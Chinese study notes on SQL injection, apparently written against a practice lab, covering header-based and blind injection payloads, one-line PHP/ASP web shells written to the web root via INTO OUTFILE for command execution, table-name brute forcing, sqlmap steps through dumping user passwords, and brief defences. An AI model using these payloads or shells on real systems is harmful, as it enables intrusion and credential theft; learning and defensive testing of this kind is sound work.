sql注入学习笔记(二)

2020-01-30  本文已影响0人  sunnnnnnnnnny

HTTP header注入

有些时候,后台开发人员为了验证客户端头信息(比如常用的 cookie验证)
或者通过httpheader头信息获取客户端的一些信息,比如useragent,accept字段等等。会对客户端的httpheader信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于httpheader的SQLInject漏洞。

使用burpsuite抓取前后段交互的HTTP请求,修改头信息


修改user agent 修改cookies

test payload

基于HTTPHeader
Cookie: ant[uname]=admin' and updatexml (1, concat(0x7e, database ()),0)#
firefox or updatexml(1,concat(0x7e, database ()),0) or

盲注

什么是盲注

在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错
此时无法在根据报错信息来进行注入的判断。
这种情况下的注入,称为“盲注“
根据表现形式的不同,盲注又分为 based boolean和 based timei两种类型

基于boolean的盲注测试

基于 boolean的盲注主要表现症状
0.没有报错信息
1.不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
2.在正确的输入下,输入and1=1/and1=2发现可以判断

test payload

kobe' and len(database())=7#
#如果前端返回结果,说明database()字符串的长度为7,不返回信息的话,说明不是7,可以用二分法试探
kobe' and ascii(substr(database()), 1, 1))=112#
#如果前端返回结果,说明database()第一个字母的ascii码为112,不返回信息的话,说明不是,可以用二分法试探

通常编写脚本或者使用sqlmap进行盲注测试

基于time的盲注测试

如果说基于 boolean的盲注在页面上还可以看到0 or 1的回显的话
那么基于time的盲注完全就啥都看不到了
但还有一个条件,就是“时间”,通过特定的输入,判断后台执行的时间,从而确认注入
常用的 Test Payload
kobe and sleep(5)
看看输入:kobe'和输入kobe' and sleep(5)#的区别,从而判断这里存在 based time的sqL注入漏洞
利用Firefox的开发者工具中的network可以查看响应时间,如果当前页面在5秒后返回,说明执行了sleep(5),存在基于时间的盲注漏洞

基于时间的延迟
kobe' and if((substr(database(),1, 1))='p', sleep(5), null)#
#若页面在5秒后返回,说明database()的第一个字母为p,否则不是

利用sql注入漏洞进行远程控制

一句话木马

一句话木马是一种短小而精悍的木马客户端,隐蔽性好,且功能强大。

PHP: <?php @eval(S_POST['chopper']) ?>
ASP: <%eval request("chopper")%>
ASP.NET: <% Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe"); %>

如何通过into outfile写入恶意代码并控制os

select 1, 2 into outfile "/var/www/html/1.txt"

into outfile将 select的结果写入到指定目录的1txt中
在一些没有回显的注入中可以使用 into outfile将结果写入到指定文件,然后访问获取
前提条件

1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启了 secure_ file_ priv

查看secure_file_priv配置

需要在mysql的配置文件/etc/my.cnf中增加secure_file_priv为空

获取操作系统权限

kobe' union select " <?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#

使用方法 http://[target_ip]:[target_port]/1.php?test=[php命令],如http://192.168.1.5/1.php?test=phpinfo()

kobe' union select " <?php @system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php"#

使用方法 http://[target_ip]:[target_port]/2.php?cmd=[系统命令],如http://192.168.1.5/2.php?test=whoami

一句话木马可以结合菜刀或者蚁剑等工具来使用,达到远控的目的
可参考
中国菜刀简介及使用
AntSword文档

表名或列表的暴力破解

当information_schema不能访问时
暴力破解表名和列名称:
kobe' and exists(select * from aa)#
kobe' and exists(select id from users)#
可以使用burpsuite的intruder模块加载字典进行爆破

SQL Inject注入漏洞的防范

代码层面

1.对输入进行严格的转义和过滤

转义加过滤

2.使用预处理和参数化( Parameterized)

可以避免用户的输入直接拼接成sql语句

使用PDO
可参考
PDO场景下的SQL注入探究
PDO防sql注入原理分析

网路层面

1.通过wAF设备启用防sql注入策略(或类似防护系统)

部署位置

2.云端防护(360网站卫士,阿里云盾等)

对于在云端部署的服务器可以采用厂商提供的防护产品


云防护

sqlmap的使用

sqlmap是一个强大的自动化sql注入工具,可以替代手工完成许多任务
在sqlmap的官网(http://sqlmap.org/)下载
sqlmap的经典用法

 第一步
u"xx" -cookie="yy"
//带上 cookie对URL进行注入探测
第二步
u"xx" -cookie="yy" -current-db
//对数据库名进行获取
第三步
u"xx" -cookie="yy" -D pikachu --tables
//对数据库的表名进行枚举
第四步
u"xx" -cookie="yy" -D pikachu -T users -columns
//对dvwa库里面的名为 users表的列名进行枚举
第五步
u"xx" -cookie="yy" -D pikachu -T users -C username,password --dump
//提取pikachu.users中的指定的字段 

可参考
SQLMap 从入门到入狱详细指南
超详细SQLMap使用攻略及技巧分享

上一篇 下一篇

猜你喜欢

热点阅读